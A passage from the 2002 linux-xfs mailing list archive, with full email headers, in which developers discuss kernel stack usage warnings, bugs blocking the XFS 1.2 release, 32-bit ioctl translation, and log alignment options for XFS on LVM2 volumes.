<_pagebuf_get_object+3e/140> > Trace; c021208b > Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> > Trace; c01d1d91 > Trace; c01f95ec > Trace; c01d42f5 > Trace; c01f95ec > Trace; c01d39de > Trace; c021208b > Trace; c02aeefd > Trace; c02af070 > Trace; c02404f4 > Trace; c02a18bb > Trace; c012044b > Trace; c01f95ec > Trace; c01cfe01 > Trace; c01d3f54 > Trace; c02046e8 > Trace; c020457b > Trace; c0233253 <__make_request+233/5e0> > Trace; c0279cf1 > Trace; c02043b9 > Trace; c0204745 > Trace; c02046e8 > Trace; c020457b > Trace; c02046e8 > Trace; c020457b > Trace; c02043b9 > Trace; c0204745 > Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> > Trace; c0204775 > Trace; c0208d8f <_pagebuf_find_lockable_buffer+1ef/230> > Trace; c01c2148 > Trace; c0204bdf <_pagebuf_lookup_pages+9f/3b0> > Trace; c0205101 > Trace; c01f93e6 > Trace; c02111a7 > Trace; c01f0000 > Trace; c01e46fb > Trace; c01e47ab > Trace; c01e47c1 > Trace; c01f9a56 > Trace; c01f9a87 > Trace; c01f9c3c > Trace; c01d98e6 > Trace; c01d167d > Trace; c01ff0aa > Trace; c02b2a40 > Trace; c01ca285 > Trace; c020bad0 > Trace; c01f9f61 > Trace; c01f862a > Trace; c01f81d3 > Trace; c01d1792 > Trace; c014d3b0 > Trace; c014df28 > Trace; c01fa40a > Trace; c020bc88 > Trace; c014e61c > Trace; c014e401 > Trace; c014e7f3 > Trace; c014d380 > Trace; c0141616 > Trace; c0141984 > Trace; c0108d9b > > > 3 warnings issued. Results may not be reliable. -- Eric Sandeen XFS for Linux http://oss.sgi.com/projects/xfs sandeen@sgi.com SGI, Inc. 651-683-3102 From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:47:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIlIBM016361 for ; Thu, 22 Aug 2002 11:47:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIlI6x016360 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:47:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIlCBM016332 for ; Thu, 22 Aug 2002 11:47:13 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 12DE614AEC; Thu, 22 Aug 2002 20:50:15 +0200 (MEST) Date: Thu, 22 Aug 2002 20:50:14 +0200 From: Andi Kleen To: Eric Sandeen Cc: Jim Eshleman , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020822205014.A9535@wotan.suse.de> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1030041962.8450.18.camel@stout.americas.sgi.com> User-Agent: Mutt/1.3.22.1i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 01:46:02PM -0500, Eric Sandeen wrote: > Hi Jim - > > Hm, was just talking about this with Christoph. :) > > XFS does use a bit of stack, but the code in XFS 1.1 (which is, I think, > also in your -aa kernel) is probably much worse than what is currently > in CVS. We're aware of the issue, and now apparently this same > stack-check code is in the 2.4.20-preX kernels - so we'll keep an eye on > it. As far as your current situation... I guess maybe we'll have to > talk to Andrea about it, I don't know what he'll want to do about > updating XFS code in his tree. He's waiting for XFS 1.2 for the next update. -Andi From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:50:45 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIojBM016569 for ; Thu, 22 Aug 2002 11:50:45 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIoitV016568 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:50:44 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIocBM016540 for ; Thu, 22 Aug 2002 11:50:38 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id NAA92800; Thu, 22 Aug 2002 13:53:39 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id NAA48071; Thu, 22 Aug 2002 13:53:38 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MIoJ024099; Thu, 22 Aug 2002 13:50:19 -0500 Subject: Re: Detected potential for stack overflows, stack left: 796 bytes From: Steve Lord To: Andi Kleen Cc: Eric Sandeen , Jim Eshleman , linux-xfs@oss.sgi.com In-Reply-To: <20020822205014.A9535@wotan.suse.de> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 13:50:19 -0500 Message-Id: <1030042219.10044.107.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 13:50, Andi Kleen wrote: > On Thu, Aug 22, 2002 at 01:46:02PM -0500, Eric Sandeen wrote: > > Hi Jim - > > > > Hm, was just talking about this with Christoph. :) > > > > XFS does use a bit of stack, but the code in XFS 1.1 (which is, I think, > > also in your -aa kernel) is probably much worse than what is currently > > in CVS. We're aware of the issue, and now apparently this same > > stack-check code is in the 2.4.20-preX kernels - so we'll keep an eye on > > it. As far as your current situation... I guess maybe we'll have to > > talk to Andrea about it, I don't know what he'll want to do about > > updating XFS code in his tree. > > He's waiting for XFS 1.2 for the next update. And that one is a bit stalled right now. I think we have a number of open issues to resolve before we call something a release again. Steve > > -Andi -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 11:58:39 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MIwdBM017094 for ; Thu, 22 Aug 2002 11:58:39 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MIwdbT017093 for linux-xfs-outgoing; Thu, 22 Aug 2002 11:58:39 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MIwWBM017026 for ; Thu, 22 Aug 2002 11:58:32 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 96DF614BDC; Thu, 22 Aug 2002 21:01:34 +0200 (MEST) Date: Thu, 22 Aug 2002 21:01:34 +0200 From: Andi Kleen To: Steve Lord Cc: Andi Kleen , Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020822210134.A11739@wotan.suse.de> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> <1030042219.10044.107.camel@jen.americas.sgi.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <1030042219.10044.107.camel@jen.americas.sgi.com> User-Agent: Mutt/1.3.22.1i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 01:50:19PM -0500, Steve Lord wrote: > On Thu, 2002-08-22 at 13:50, Andi Kleen wrote: > > On Thu, Aug 22, 2002 at 01:46:02PM -0500, Eric Sandeen wrote: > > > Hi Jim - > > > > > > Hm, was just talking about this with Christoph. :) > > > > > > XFS does use a bit of stack, but the code in XFS 1.1 (which is, I think, > > > also in your -aa kernel) is probably much worse than what is currently > > > in CVS. We're aware of the issue, and now apparently this same > > > stack-check code is in the 2.4.20-preX kernels - so we'll keep an eye on > > > it. As far as your current situation... I guess maybe we'll have to > > > talk to Andrea about it, I don't know what he'll want to do about > > > updating XFS code in his tree. > > > > He's waiting for XFS 1.2 for the next update. > > And that one is a bit stalled right now. I think we have a number of > open issues to resolve before we call something a release again. Could you quickly list them (just curious) ? The only thing I have pending is a partial ioctl32 translation for x86-64 (and possible ia64 too) for some XFS ioctls. -Andi From owner-linux-xfs@oss.sgi.com Thu Aug 22 12:03:43 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MJ3gBM017812 for ; Thu, 22 Aug 2002 12:03:42 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MJ3gTC017811 for linux-xfs-outgoing; Thu, 22 Aug 2002 12:03:42 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from phoenix.infradead.org (carisma.slowglass.com [195.224.96.167]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MJ3cBM017783 for ; Thu, 22 Aug 2002 12:03:39 -0700 Received: from hch by phoenix.infradead.org with local (Exim 4.10) id 17hxI4-0007d6-00; Thu, 22 Aug 2002 20:06:44 +0100 Date: Thu, 22 Aug 2002 20:06:44 +0100 From: Christoph Hellwig To: Andi Kleen Cc: Steve Lord , Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020822200644.A29301@infradead.org> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> <1030042219.10044.107.camel@jen.americas.sgi.com> <20020822210134.A11739@wotan.suse.de> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.2.5.1i In-Reply-To: <20020822210134.A11739@wotan.suse.de>; from ak@suse.de on Thu, Aug 22, 2002 at 09:01:34PM +0200 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 09:01:34PM +0200, Andi Kleen wrote: > The only thing I have pending is a partial ioctl32 translation for x86-64 > (and possible ia64 too) for some XFS ioctls. Any reason why it doesn't work for sparc64/parisc/mips64? From owner-linux-xfs@oss.sgi.com Thu Aug 22 12:13:15 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MJDFBM018647 for ; Thu, 22 Aug 2002 12:13:15 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MJDF5x018646 for linux-xfs-outgoing; Thu, 22 Aug 2002 12:13:15 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MJD4BM018616 for ; Thu, 22 Aug 2002 12:13:04 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA93157; Thu, 22 Aug 2002 14:16:06 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA11094; Thu, 22 Aug 2002 14:16:06 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MJClA24156; Thu, 22 Aug 2002 14:12:47 -0500 Subject: Re: Detected potential for stack overflows, stack left: 796 bytes From: Steve Lord To: Andi Kleen Cc: Eric Sandeen , linux-xfs@oss.sgi.com In-Reply-To: <20020822210134.A11739@wotan.suse.de> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> <1030042219.10044.107.camel@jen.americas.sgi.com> <20020822210134.A11739@wotan.suse.de> Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 14:12:47 -0500 Message-Id: <1030043567.10311.124.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 14:01, Andi Kleen wrote: > On Thu, Aug 22, 2002 at 01:50:19PM -0500, Steve Lord wrote: > > On Thu, 2002-08-22 at 13:50, Andi Kleen wrote: > > > On Thu, Aug 22, 2002 at 01:46:02PM -0500, Eric Sandeen wrote: > > > > Hi Jim - > > > > > > > > Hm, was just talking about this with Christoph. :) > > > > > > > > XFS does use a bit of stack, but the code in XFS 1.1 (which is, I think, > > > > also in your -aa kernel) is probably much worse than what is currently > > > > in CVS. We're aware of the issue, and now apparently this same > > > > stack-check code is in the 2.4.20-preX kernels - so we'll keep an eye on > > > > it. As far as your current situation... I guess maybe we'll have to > > > > talk to Andrea about it, I don't know what he'll want to do about > > > > updating XFS code in his tree. > > > > > > He's waiting for XFS 1.2 for the next update. > > > > And that one is a bit stalled right now. I think we have a number of > > open issues to resolve before we call something a release again. > > Could you quickly list them (just curious) ? Off the top of my head: hitting a bug in filemap.c unlocking an unlocked page, seems to be lvm related. corruption with the combination of fsx and heavy memory load for an fs with a blocksize less than a page - does not happen with the default 4K block size. a hang in unmount, or remount readonly - I only see this on my laptop after using some vpn software, but I do not think the vpn is related. I cannot hit it elsewhere, but something similar has been reported. the defragmenter seems to be able to go haywire and suck up cpu time. version 2 logs have some end cases to shake out - make a small log and pound on metadata really hard. If I make a larger log then I cannot hit this. An oops in xfs_iget - or a hang depending on who you are, seems to take very heavy load and a few cpus to hit. Thats enough for now! Steve > > The only thing I have pending is a partial ioctl32 translation for x86-64 > (and possible ia64 too) for some XFS ioctls. > > -Andi -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 12:32:09 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MJW9BM019240 for ; Thu, 22 Aug 2002 12:32:09 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MJW9N9019239 for linux-xfs-outgoing; Thu, 22 Aug 2002 12:32:09 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from mailserver.e-r-solutions.com ([65.88.1.218]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MJW0BM019210 for ; Thu, 22 Aug 2002 12:32:01 -0700 Received: by mailserver.e-r-solutions.com with Internet Mail Service (5.5.2653.19) id ; Thu, 22 Aug 2002 12:33:51 -0700 Message-ID: From: ERG@e-r-solutions.com To: linux-xfs@oss.sgi.com Subject: Aligning v2 logs on LVM2/device-mapper volumes Date: Thu, 22 Aug 2002 12:33:38 -0700 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) Content-Type: text/plain X-Spam-Status: No, hits=0.6 required=5.0 tests=NO_REAL_NAME version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Greetings, I'm testing out XFS on some LVM2 volumes. These test volumes/FSs were created with the simplest invocation of mkfs I could muster: 'mkfs -t xfs /dev/vg0/lv0'. Now I'm getting some warnings from device-mapper which (apparently) indicate that I need to use the new XFS log format and set up my filesystems so that log writes are aligned properly. I asked on linux-lvm, but it seems that list isn't stocked with XFS gurus ;), so I'm having a hard time figuring out to what I need to set my su suboption at mkfs time (as in 'mkfs -t xfs -l internal,version=2,su=X /dev/vg0/lv0'). I'm not quite understanding the interactions between device-mapper, the device (or, in this case, LV) block size, and the filesystem block size. One suggestion I did get on linux-lvm goes like this: > To me it looks like you should set su to your block size, so if your > block size is 4k set su=8. I don't use xfs myself, so you may want to > wait for confirmation before trying this. Does that sound correct? Does anyone have the time or inclination to explain this so I can understand what's going on, rather than just dropping a value into my command (though that'd be appreciated, too)? Maybe this is easy, and I'm just slow :) Please cc: replies to me, as I am not subscribed to this list. Manuel Gomez From owner-linux-xfs@oss.sgi.com Thu Aug 22 12:38:56 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MJcuBM019449 for ; Thu, 22 Aug 2002 12:38:56 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MJcujS019448 for linux-xfs-outgoing; Thu, 22 Aug 2002 12:38:56 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from Cantor.suse.de (ns.suse.de [213.95.15.193]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MJceBM019416 for ; Thu, 22 Aug 2002 12:38:40 -0700 Received: from Hermes.suse.de (Charybdis.suse.de [213.95.15.201]) by Cantor.suse.de (Postfix) with ESMTP id 5F40514A76; Thu, 22 Aug 2002 21:11:56 +0200 (MEST) Date: Thu, 22 Aug 2002 21:11:53 +0200 From: Andi Kleen To: Christoph Hellwig Cc: Andi Kleen , Steve Lord , Eric Sandeen , linux-xfs@oss.sgi.com Subject: Re: Detected potential for stack overflows, stack left: 796 bytes Message-ID: <20020822211153.A14802@wotan.suse.de> References: <3D652F1A.3080005@Lehigh.EDU> <1030041962.8450.18.camel@stout.americas.sgi.com> <20020822205014.A9535@wotan.suse.de> <1030042219.10044.107.camel@jen.americas.sgi.com> <20020822210134.A11739@wotan.suse.de> <20020822200644.A29301@infradead.org> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <20020822200644.A29301@infradead.org> User-Agent: Mutt/1.3.22.1i X-Spam-Status: No, hits=-4.4 required=5.0 tests=IN_REP_TO version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, Aug 22, 2002 at 08:06:44PM +0100, Christoph Hellwig wrote: > On Thu, Aug 22, 2002 at 09:01:34PM +0200, Andi Kleen wrote: > > The only thing I have pending is a partial ioctl32 translation for x86-64 > > (and possible ia64 too) for some XFS ioctls. > > Any reason why it doesn't work for sparc64/parisc/mips64? Those don't need it (at least not for those ioctls I converted - i didn't attempt the more complex xfsdump ioctls) IA64/x86-64 have the unique problem that the 32bit port has a different alignment (non natural 4 bytes) for long long than the 64bit port. Some of the XFS ioctls hit this because they do not explicitely pad u64 to natural boundaries. sparc64 etc. are fine because their 32bit ports have naturally aligned long long. I implemented it only for x86-64 now. IA64 currently has no dynamic ioctl32 registration interface for modules. If you wanted to make xfsdump which has complex data structures with pointers in ioctls you would also need to cover the other architectures. Would be lots of work though and probably not worth the effort. -Andi From owner-linux-xfs@oss.sgi.com Thu Aug 22 12:40:18 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MJeIBM019599 for ; Thu, 22 Aug 2002 12:40:18 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MJeI8N019598 for linux-xfs-outgoing; Thu, 22 Aug 2002 12:40:18 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MJe9BM019548 for ; Thu, 22 Aug 2002 12:40:10 -0700 Received: from daisy-e185.americas.sgi.com (daisy-e185.americas.sgi.com [128.162.185.214]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id OAA93332; Thu, 22 Aug 2002 14:43:11 -0500 (CDT) Received: from jen.americas.sgi.com (jen.americas.sgi.com [128.162.187.49]) by daisy-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id OAA30193; Thu, 22 Aug 2002 14:43:11 -0500 (CDT) Received: by jen.americas.sgi.com (8.11.6/SGI-client-1.7) id g7MJdqt24206; Thu, 22 Aug 2002 14:39:52 -0500 Subject: Re: Aligning v2 logs on LVM2/device-mapper volumes From: Steve Lord To: ERG@e-r-solutions.com Cc: linux-xfs@oss.sgi.com In-Reply-To: References: Content-Type: text/plain Content-Transfer-Encoding: 7bit X-Mailer: Ximian Evolution 1.0.8 Date: 22 Aug 2002 14:39:52 -0500 Message-Id: <1030045192.10311.128.camel@jen.americas.sgi.com> Mime-Version: 1.0 X-Spam-Status: No, hits=-3.6 required=5.0 tests=IN_REP_TO,SIGNATURE_DELIM version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk On Thu, 2002-08-22 at 14:33, ERG@e-r-solutions.com wrote: > Greetings, > > I'm testing out XFS on some LVM2 volumes. These test volumes/FSs were > created with the simplest invocation of mkfs I could muster: 'mkfs -t xfs > /dev/vg0/lv0'. Now I'm getting some warnings from device-mapper which > (apparently) indicate that I need to use the new XFS log format and set up > my filesystems so that log writes are aligned properly. > > I asked on linux-lvm, but it seems that list isn't stocked with XFS gurus > ;), so I'm having a hard time figuring out to what I need to set my su > suboption at mkfs time (as in 'mkfs -t xfs -l internal,version=2,su=X > /dev/vg0/lv0'). I'm not quite understanding the interactions between > device-mapper, the device (or, in this case, LV) block size, and the > filesystem block size. > > One suggestion I did get on linux-lvm goes like this: > > To me it looks like you should set su to your block size, so if your > > block size is 4k set su=8. I don't use xfs myself, so you may want to > > wait for confirmation before trying this. > > Does that sound correct? Does anyone have the time or inclination to > explain this so I can understand what's going on, rather than just dropping > a value into my command (though that'd be appreciated, too)? Maybe this is > easy, and I'm just slow :) This should be correct, it will make the log writes have the same alignment as the rest of the metadata. You may also want to increase your log size from the default, the v2 log code seems to have an end case in it which will panic the default log size. Using the most recent commands, something like this should do it: mkfs -t xfs -f -l sunit=8,size=8192b /dev/vg0/lv0 version 2 logs will get turned on automatically when you specify the stripe unit. Steve -- Steve Lord voice: +1-651-683-3511 Principal Engineer, Filesystem Software email: lord@sgi.com From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:02:04 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MK24BM020029 for ; Thu, 22 Aug 2002 13:02:04 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MK243Q020028 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:02:04 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MK1wBM019998 for ; Thu, 22 Aug 2002 13:01:58 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA76954 for ; Thu, 22 Aug 2002 15:05:00 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA74608 for ; Thu, 22 Aug 2002 15:05:00 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id PAA96815 for linux-xfs@oss.sgi.com; Thu, 22 Aug 2002 15:04:59 -0500 (CDT) Date: Thu, 22 Aug 2002 15:04:59 -0500 (CDT) From: Dean Roehrich Message-Id: <200208222004.PAA96815@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - xfs_dm_send_data_event() breaks some HSMs X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 22 13:04:46 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125722a linux/fs/xfs/xfs_dmapi.c - 1.76 - We'll use dmstate to keep a counter and use this to coordinate activity between xfs_dm_punch_hole and xfs_dm_send_data_event. Checking DM_EVENT_ENABLED got us into trouble. By checking that event, after you've already sent it, you're dictating behavior to the HSM--that it must clear the event's bit from the event mask before responding to the event. The DMAPI spec does not require that HSMs behave this way, and some, like Veritas's, don't. From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:09:05 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MK95BM020319 for ; Thu, 22 Aug 2002 13:09:05 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MK955X020318 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:09:05 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from zeus-e8.americas.sgi.com ([198.149.7.250]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MK91BM020290 for ; Thu, 22 Aug 2002 13:09:01 -0700 Received: from thistle-e185.americas.sgi.com (thistle-e185.americas.sgi.com [128.162.185.204]) by zeus-e8.americas.sgi.com (SGI-8.9.3/americas-smart-nospam1.1) with ESMTP id PAA93541 for ; Thu, 22 Aug 2002 15:12:03 -0500 (CDT) Received: from clink.americas.sgi.com (clink-eth.americas.sgi.com [128.162.2.8]) by thistle-e185.americas.sgi.com (SGI-8.9.3/SGI-server-1.8) with ESMTP id PAA54833 for ; Thu, 22 Aug 2002 15:12:03 -0500 (CDT) Received: (from roehrich@localhost) by clink.americas.sgi.com (SGI-8.9.3/8.9.3/erikj-IRIX-news) id PAA47218 for linux-xfs@oss.sgi.com; Thu, 22 Aug 2002 15:12:03 -0500 (CDT) Date: Thu, 22 Aug 2002 15:12:03 -0500 (CDT) From: Dean Roehrich Message-Id: <200208222012.PAA47218@clink.americas.sgi.com> To: linux-xfs@oss.sgi.com Subject: TAKE - remove some debug code in last dmapi mod X-Spam-Status: No, hits=0.1 required=5.0 tests=SUBJ_REMOVE version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk Date: Thu Aug 22 13:11:54 PDT 2002 Workarea: clink-eth.americas.sgi.com:/data/clink/a67/roehrich/2.4.x-xfs The following file(s) were checked into: bonnie.engr.sgi.com:/isms/slinx/2.4.x-xfs Modid: 2.4.x-xfs:slinx:125726a linux/fs/xfs/xfs_dmapi.c - 1.77 - remove debug code that was left in xfs_dm_send_data_event() From owner-linux-xfs@oss.sgi.com Thu Aug 22 13:38:58 2002 Received: from oss.sgi.com (localhost [127.0.0.1]) by oss.sgi.com (8.12.5/8.12.5) with ESMTP id g7MKcwBM020645 for ; Thu, 22 Aug 2002 13:38:58 -0700 Received: (from majordomo@localhost) by oss.sgi.com (8.12.5/8.12.3/Submit) id g7MKcwZ9020644 for linux-xfs-outgoing; Thu, 22 Aug 2002 13:38:58 -0700 X-Authentication-Warning: oss.sgi.com: majordomo set sender to owner-linux-xfs@oss.sgi.com using -f Received: from imf24bis.bellsouth.net (mail024.mail.bellsouth.net [205.152.58.64]) by oss.sgi.com (8.12.5/8.12.5) with SMTP id g7MKcjBM020615 for ; Thu, 22 Aug 2002 13:38:45 -0700 Received: from TAZ2 ([66.156.4.66]) by imf24bis.bellsouth.net (InterMail vM.5.01.04.19 201-253-122-122-119-20020516) with SMTP id <20020822204145.QUAO29575.imf24bis.bellsouth.net@TAZ2>; Thu, 22 Aug 2002 16:41:45 -0400 Date: Thu, 22 Aug 2002 16:40:35 -0400 From: Greg Freemyer Subject: re[2]: Detected potential for stack overflows, stack left: 796 bytes To: Steve Lord , Andi Kleen cc: Eric Sandeen , Mime-Version: 1.0 Organization: The NorcrossGroup X-Mailer: GoldMine [5.70.11111] Content-Type: Text/plain Message-Id: <20020822204145.QUAO29575.imf24bis.bellsouth.net@TAZ2> Content-Transfer-Encoding: 8bit X-MIME-Autoconverted: from quoted-printable to 8bit by oss.sgi.com id g7MKcjBM020616 X-Spam-Status: No, hits=0.0 required=5.0 tests= version=2.20 X-Spam-Level: Sender: owner-linux-xfs@oss.sgi.com Precedence: bulk If the V1.2 release is going to be significantly delayed by these issues, and if these issues are also in xfs v1.1 and the QA load is not too high, then maybe you could release a xfs 1.1.1 or some such and just list those issues in the release notes. (I almost feel like I'm writing code with the above 